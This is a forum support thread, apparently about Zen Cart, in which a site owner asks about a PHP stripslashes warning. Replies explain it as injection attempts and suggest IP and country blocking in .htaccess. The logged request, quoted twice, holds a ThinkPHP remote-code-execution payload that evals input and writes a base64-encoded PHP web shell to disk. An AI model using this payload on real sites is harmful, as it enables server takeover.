PHP Warning: stripslashes() expects parameter 1 to be string

[DML73]

I keep getting this error message in my logs folder:

[14-Mar-2019 02:24:37 America/Chicago] Request URI: //?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET[%27fuck%27]);&########=fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgk X1BPU1RbeGlhb10pPz54YnNoZWxs));, IP address: xxx.xxx.xxx.xx
#1 stripslashes() called at [/home/mysite/www/www/includes/functions/functions_general.php:166]
#2 zen_get_all_get_params() called at [/home/mysite/www/www/includes/init_includes/overrides/init_canonical.php:98]
#3 require(/home/mysite/www/www/includes/init_includes/overrides/init_canonical.php) called at [/home/mysite/www/www/includes/autoload_func.php:48]
#4 require(/home/mysite/www/www/includes/autoload_func.php) called at [/home/mysite/www/www/includes/application_top.php:158]
#5 require(/home/mysite/www/www/includes/application_top.php) called at [/home/mysite/www/www/index.php:26]

[14-Mar-2019 02:24:37 America/Chicago] PHP Warning: stripslashes() expects parameter 1 to be string, array given in /home/mysite/www/www/includes/functions/functions_general.php on line 166

Any idea what is causing this and how to fix it?

[lat9]

I keep getting this error message in my logs folder:

[14-Mar-2019 02:24:37 America/Chicago] Request URI: //?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@eval($_GET[%27fuck%27]);&########=fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgk X1BPU1RbeGlhb10pPz54YnNoZWxs));, IP address: xxx.xxx.xxx.xx
#1 stripslashes() called at [/home/mysite/www/www/includes/functions/functions_general.php:166]
#2 zen_get_all_get_params() called at [/home/mysite/www/www/includes/init_includes/overrides/init_canonical.php:98]
#3 require(/home/mysite/www/www/includes/init_includes/overrides/init_canonical.php) called at [/home/mysite/www/www/includes/autoload_func.php:48]
#4 require(/home/mysite/www/www/includes/autoload_func.php) called at [/home/mysite/www/www/includes/application_top.php:158]
#5 require(/home/mysite/www/www/includes/application_top.php) called at [/home/mysite/www/www/index.php:26]

[14-Mar-2019 02:24:37 America/Chicago] PHP Warning: stripslashes() expects parameter 1 to be string, array given in /home/mysite/www/www/includes/functions/functions_general.php on line 166

Any idea what is causing this and how to fix it?

Script kiddies trying to inject "unwanted" content on your site. I usually block the associated IP address via the site's root .htaccess file.

[DML73]

wow I would never have guessed that was the reason. It appears that the IP's are different each time, so I wonder if it actually helps anything to block them in htaccess.

[lat9]

wow I would never have guessed that was the reason. It appears that the IP's are different each time, so I wonder if it actually helps anything to block them in htaccess.

If the IP addresses are "similar", e.g. 192.168.1.1, 192.168.1.17, 192.168.1.200, you can block the entire "segment" by denying 192.168.1. (don't include that final quadrant).

[DML73]

Unfortunately they are not similar, these are the IP's from the last 2 weeks:

116.196.19.207
117.151.18.217
122.114.156.19
137.135.65.4
112.114.103.129
218.60.67.88
37.113.181.91
192.168.1.1
59.47.72.245
37.113.153.25
218.60.67.87
94.206.54.250
66.249.64.33

All of them from China when I geo-track them, except 192.168.1.1 which is a bit strange since this is the local default login IP of many routers, including my own (?!)

[lat9]

I found this (https://www.hostinger.com/tutorials/...using-htaccess) link that identifies a tool through which you can generate a list of country-based IP addresses that you could then include in your .htaccess file's deny from list (or Require not ip list for Apache 4 hosting).

[DML73]

Thanks a lot! I will try that.

[delia]

I'm truly not understanding how this behavior could throw an error. Has this changed in 1.5.5f so that no error is generated, yet baddies are stopped?

[RixStix]

We block the entire CIDR range instead of individual IP address (assuming the CIDR is the same nefarious country)